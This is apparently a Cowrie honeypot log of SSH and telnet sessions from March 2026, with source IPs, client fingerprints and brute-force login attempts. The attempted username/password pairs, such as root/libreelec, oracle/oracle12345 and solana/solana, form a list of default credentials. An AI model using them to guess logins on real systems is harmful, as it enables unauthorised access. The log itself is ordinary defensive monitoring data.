{"eventid":"cowrie.login.failed","username":"admin","password":"0314","message":"login attempt [admin/0314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:38.812890Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031291","message":"login attempt [admin/031291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:39.912963Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":57458,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c74e2019767","protocol":"ssh","message":"New connection: 92.118.39.92:57458 (10.17.0.5:22) [session: 0c74e2019767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:40.348816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:40.352793Z","src_ip":"92.118.39.92","session":"0c74e2019767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:40.457171Z","src_ip":"92.118.39.92","session":"0c74e2019767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:40.877891Z","src_ip":"92.118.39.92","session":"0c74e2019767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031287","message":"login attempt [admin/031287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:41.011474Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:41.993830Z","src_ip":"92.118.39.92","session":"0c74e2019767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03121976","message":"login attempt [admin/03121976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:42.109544Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"031085","message":"login attempt [admin/031085] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:43.208773Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:44.307779Z","src_ip":"2.57.121.112","session":"487a895d5201","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":51122,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6bf81802ec6","protocol":"ssh","message":"New connection: 92.118.39.76:51122 (159.203.135.109:22) [session: a6bf81802ec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:44.619148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:44.623666Z","src_ip":"92.118.39.76","session":"a6bf81802ec6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:44.771640Z","src_ip":"92.118.39.76","session":"a6bf81802ec6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:45.091991Z","src_ip":"92.118.39.76","session":"a6bf81802ec6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:13:46.289991Z","src_ip":"92.118.39.76","session":"a6bf81802ec6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":56148,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9fb3ae27854","protocol":"ssh","message":"New connection: 193.32.162.151:56148 (159.203.135.109:22) [session: e9fb3ae27854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:00.916353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:00.919666Z","src_ip":"193.32.162.151","session":"e9fb3ae27854","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:01.022008Z","src_ip":"193.32.162.151","session":"e9fb3ae27854","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle12345","message":"login attempt [oracle/oracle12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:01.316936Z","src_ip":"193.32.162.151","session":"e9fb3ae27854","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:02.456028Z","src_ip":"193.32.162.151","session":"e9fb3ae27854","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":50202,"dst_ip":"10.17.0.5","dst_port":22,"session":"17eda8fb0390","protocol":"ssh","message":"New connection: 77.90.185.17:50202 (10.17.0.5:22) [session: 17eda8fb0390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:18.294581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:18.299731Z","src_ip":"77.90.185.17","session":"17eda8fb0390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:18.401972Z","src_ip":"77.90.185.17","session":"17eda8fb0390","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:18.901004Z","src_ip":"77.90.185.17","session":"17eda8fb0390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:14:30.764788Z","src_ip":"77.90.185.17","session":"17eda8fb0390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":40218,"dst_ip":"10.17.0.5","dst_port":22,"session":"a84bf112a1ef","protocol":"ssh","message":"New connection: 14.225.2.125:40218 (10.17.0.5:22) [session: a84bf112a1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.075402Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.347775Z","src_ip":"14.225.2.125","session":"a84bf112a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":38010,"dst_ip":"159.203.135.109","dst_port":22,"session":"052d6fa0e9cb","protocol":"ssh","message":"New connection: 92.118.39.76:38010 (159.203.135.109:22) [session: 052d6fa0e9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.353501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.358123Z","src_ip":"92.118.39.76","session":"052d6fa0e9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.463744Z","src_ip":"92.118.39.76","session":"052d6fa0e9cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":40232,"dst_ip":"10.17.0.5","dst_port":22,"session":"9918932b7813","protocol":"ssh","message":"New connection: 14.225.2.125:40232 (10.17.0.5:22) [session: 9918932b7813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.613179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.618006Z","src_ip":"14.225.2.125","session":"9918932b7813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.836034Z","src_ip":"92.118.39.76","session":"052d6fa0e9cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:04.882178Z","src_ip":"14.225.2.125","session":"9918932b7813","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ldt","password":"ldt","message":"login attempt [ldt/ldt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:05.675418Z","src_ip":"14.225.2.125","session":"9918932b7813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:05.948720Z","src_ip":"92.118.39.76","session":"052d6fa0e9cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:06.941967Z","src_ip":"14.225.2.125","session":"9918932b7813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43788,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd2859ac939e","protocol":"ssh","message":"New connection: 193.32.162.151:43788 (159.203.135.109:22) [session: cd2859ac939e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:12.516715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:12.520695Z","src_ip":"193.32.162.151","session":"cd2859ac939e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:12.627596Z","src_ip":"193.32.162.151","session":"cd2859ac939e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"oracle1234","message":"login attempt [oracle/oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:13.057930Z","src_ip":"193.32.162.151","session":"cd2859ac939e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:14.169222Z","src_ip":"193.32.162.151","session":"cd2859ac939e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.109.112.180","src_port":51633,"dst_ip":"159.203.135.109","dst_port":22,"session":"74475537e41e","protocol":"ssh","message":"New connection: 38.109.112.180:51633 (159.203.135.109:22) [session: 74475537e41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:16.386585Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:16:16.425945Z","src_ip":"38.109.112.180","session":"74475537e41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.115.135.141","src_port":54257,"dst_ip":"159.203.135.109","dst_port":23,"session":"493dcf21ab46","protocol":"telnet","message":"New connection: 180.115.135.141:54257 (159.203.135.109:23) [session: 493dcf21ab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:17:17.333769Z"}
{"eventid":"cowrie.session.closed","duration":31.325140714645386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:17:48.658787Z","src_ip":"180.115.135.141","session":"493dcf21ab46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":59670,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f35e63d2d0a","protocol":"ssh","message":"New connection: 193.32.162.151:59670 (159.203.135.109:22) [session: 2f35e63d2d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:18:25.635253Z"}
